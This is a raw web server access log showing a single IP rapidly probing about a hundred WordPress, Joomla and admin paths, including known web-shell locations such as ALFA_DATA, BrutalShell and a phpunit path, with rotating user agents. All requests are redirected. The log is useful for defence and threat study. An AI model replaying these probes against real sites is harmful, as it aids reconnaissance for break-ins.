[30/Apr/2025:23:36:03 -0400] "GET /wp-includes/certificates/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:03 -0400] "GET /wp-includes/theme-compat/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.160.244 - - [30/Apr/2025:23:36:04 -0400] "GET /wp-content/plugins/seoxx/randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:04 -0400] "GET /wp-content/plugins/erinyani/baxa1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:36:04 -0400] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:04 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.160.244 - - [30/Apr/2025:23:36:04 -0400] "GET /heh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:05 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:05 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:05 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.160.244 - - [30/Apr/2025:23:36:05 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:05 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:06 -0400] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:06 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.160.244 - - [30/Apr/2025:23:36:06 -0400] "GET /wordpress/wp-admin/includes HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:06 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:36:06 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:07 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:07 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:36:07 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.160.244 - - [30/Apr/2025:23:36:07 -0400] "GET /wp-includes/ID3 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:07 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.160.244 - - [30/Apr/2025:23:36:07 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:08 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:08 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.160.244 - - [30/Apr/2025:23:36:08 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.160.244 - - [30/Apr/2025:23:36:08 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:09 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:09 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:09 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.160.244 - - [30/Apr/2025:23:36:09 -0400] "GET /wp-content/uploads/ao_ccss/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:10 -0400] "GET /wp-content/uploads/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:10 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:10 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:36:10 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:10 -0400] "GET /wordpress/wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:11 -0400] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:36:11 -0400] "GET /blog/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:11 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:11 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:11 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:11 -0400] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.160.244 - - [30/Apr/2025:23:36:12 -0400] "GET /admin/tmp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:12 -0400] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:12 -0400] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:12 -0400] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.160.244 - - [30/Apr/2025:23:36:13 -0400] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:13 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:13 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:13 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.160.244 - - [30/Apr/2025:23:36:13 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:14 -0400] "GET /home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:14 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:36:14 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:14 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:14 -0400] "GET /mt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:36:15 -0400] "GET /site/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:36:15 -0400] "GET /tmps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:15 -0400] "GET /wordpress/wp-admin/includes/wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.160.244 - - [30/Apr/2025:23:36:15 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:15 -0400] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:16 -0400] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:16 -0400] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:36:16 -0400] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:16 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.160.244 - - [30/Apr/2025:23:36:16 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:16 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:17 -0400] "GET /wp-content/uploads/2022/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.160.244 - - [30/Apr/2025:23:36:17 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:17 -0400] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:17 -0400] "GET /wp-includes/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:17 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.160.244 - - [30/Apr/2025:23:36:18 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:18 -0400] "GET /wp-includes/ID3/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.160.244 - - [30/Apr/2025:23:36:18 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.160.244 - - [30/Apr/2025:23:36:18 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.160.244 - - [30/Apr/2025:23:36:18 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.160.244 - - [30/Apr/2025:23:36:19 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:19 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:19 -0400] "GET /wp-includes/js/plupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.160.244 - - [30/Apr/2025:23:36:19 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:36:20 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.160.244 - - [30/Apr/2025:23:36:20 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:20 -0400] "GET /cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.160.244 - - [30/Apr/2025:23:36:20 -0400] "GET /cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:20 -0400] "GET /cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:20 -0400] "GET /ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:21 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:21 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:21 -0400] "GET /wp-content/plugins/aryabot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:21 -0400] "GET /wp-content/plugins/BrutalShell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:21 -0400] "GET /wp-content/plugins/cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.160.244 - - [30/Apr/2025:23:36:22 -0400] "GET /wp-content/plugins/cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:22 -0400] "GET /wp-content/plugins/cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.160.244 - - [30/Apr/2025:23:36:22 -0400] "GET /wp-content/plugins/db/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:36:22 -0400] "GET /wp-content/plugins/home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:22 -0400] "GET /wp-content/plugins/limit/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:23 -0400] "GET /wp-content/plugins/owfsmac/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.160.244 - - [30/Apr/2025:23:36:23 -0400] "GET /wp-content/plugins/prenota/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:36:23 -0400] "GET /wp-content/plugins/random/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:36:23 -0400] "GET /wp-content/plugins/ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.160.244 - - [30/Apr/2025:23:36:23 -0400] "GET /wp-content/plugins/Uwogh-Segs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:24 -0400] "GET /wp-content/plugins/wp-diambar/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:36:24 -0400] "GET /wp-content/plugins/wp-freeform/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:24 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:24 -0400] "GET /wp-content/plugins/wpeazvp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:24 -0400] "GET /wp-content/plugins/zaen/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.160.244 - - [30/Apr/2025:23:36:25 -0400] "GET /wp-content/uploads/revslider/templates/immersion-photography/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:25 -0400] "GET /patriotic/wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.160.244 - - [30/Apr/2025:23:36:25 -0400] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:25 -0400] "GET /wp-content/plugins/core-stab/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.160.244 